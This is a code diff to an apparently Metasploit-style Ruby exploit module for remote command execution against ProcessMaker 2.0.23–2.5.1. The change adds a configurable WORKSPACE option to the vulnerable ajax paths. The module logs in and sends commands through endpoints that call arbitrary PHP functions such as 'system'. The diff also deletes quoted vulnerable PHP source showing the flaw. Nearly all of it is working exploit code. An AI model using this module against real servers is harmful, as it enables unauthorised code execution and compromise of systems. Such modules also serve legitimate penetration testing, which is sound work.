@@ -49,7 +49,8 @@ def initialize(info={})
49
49
register_options (
50
50
[
51
51
OptString . new ( 'USERNAME' , [ true , 'The username for ProcessMaker' , 'admin' ] ) ,
52
- OptString . new ( 'PASSWORD' , [ true , 'The password for ProcessMaker' , 'admin' ] )
52
+ OptString . new ( 'PASSWORD' , [ true , 'The password for ProcessMaker' , 'admin' ] ) ,
53
+ OptString . new ( 'WORKSPACE' , [ true , 'The ProcessMaker workspace' , 'workflow' ] )
53
54
] )
54
55
end
55
56
@@ -59,9 +60,9 @@ def initialize(info={})
59
60
def execute_command ( cmd , opts = { :php_function => 'system' } )
60
61
# random vulnerable path # confirmed in versions 2.0.23 to 2.5.1
61
62
vuln_url = [
62
- '/sysworkflow /en/neoclassic/appFolder/appFolderAjax.php' ,
63
- '/sysworkflow /en/neoclassic/cases/casesStartPage_Ajax.php' ,
64
- '/sysworkflow /en/neoclassic/cases/cases_SchedulerGetPlugins.php'
63
+ "/sys #{ @workspace } /en/neoclassic/appFolder/appFolderAjax.php" ,
64
+ "/sys #{ @workspace } /en/neoclassic/cases/casesStartPage_Ajax.php" ,
65
+ "/sys #{ @workspace } /en/neoclassic/cases/cases_SchedulerGetPlugins.php"
65
66
] . sample
66
67
67
68
# shuffle POST parameters
@@ -96,7 +97,7 @@ def login(user, pass)
96
97
begin
97
98
res = send_request_cgi ( {
98
99
'method' => 'POST' ,
99
- 'uri' => normalize_uri ( target_uri . path , "/sysworkflow /en/neoclassic/login/authentication.php" ) ,
100
+ 'uri' => normalize_uri ( target_uri . path , "/sys #{ @workspace } /en/neoclassic/login/authentication.php" ) ,
100
101
'cookie' => @cookie ,
101
102
'vars_post' => vars_post
102
103
} )
@@ -117,6 +118,8 @@ def login(user, pass)
117
118
# Check credentials are valid and confirm command execution
118
119
#
119
120
def check
121
+ @workspace = datastore [ 'WORKSPACE' ]
122
+
120
123
# login
121
124
@cookie = "PHPSESSID=#{ rand_text_alphanumeric ( rand ( 10 ) +10 ) } ;"
122
125
unless login ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] )
@@ -169,6 +172,8 @@ def upload
169
172
end
170
173
171
174
def exploit
175
+ @workspace = datastore [ 'WORKSPACE' ]
176
+
172
177
# login
173
178
@cookie = "PHPSESSID=#{ rand_text_alphanumeric ( rand ( 10 ) +10 ) } ;"
174
179
unless login ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] )
@@ -184,25 +189,3 @@ def exploit
184
189
send_request_cgi ( { 'uri' => normalize_uri ( target_uri . path , "#{ @fname } " ) } )
185
190
end
186
191
end
187
-
188
- #
189
- # Source
190
- #
191
- =begin appFolder/appFolderAjax.php
192
- 22:if (($_REQUEST['action']) != 'rename') {
193
- 23: $functionName = $_REQUEST ['action'];
194
- 24: $functionParams = isset ($_REQUEST ['params']) ? $_REQUEST ['params'] : array ();
195
- 26: $functionName ($functionParams);
196
- =end
197
-
198
- =begin cases/casesStartPage_Ajax.php
199
- 16:$functionName = $_REQUEST['action'];
200
- 18:$functionParams = isset( $_REQUEST['params'] ) ? $_REQUEST['params'] : array ();
201
- 19:$functionName( $functionParams );
202
- =end
203
-
204
- =begin cases/cases_SchedulerGetPlugins.php
205
- 16:$functionName = $_REQUEST['action'];
206
- 18:$functionParams = isset( $_REQUEST['params'] ) ? $_REQUEST['params'] : array ();
207
- 19:$functionName( $functionParams );
208
- =end
0 commit comments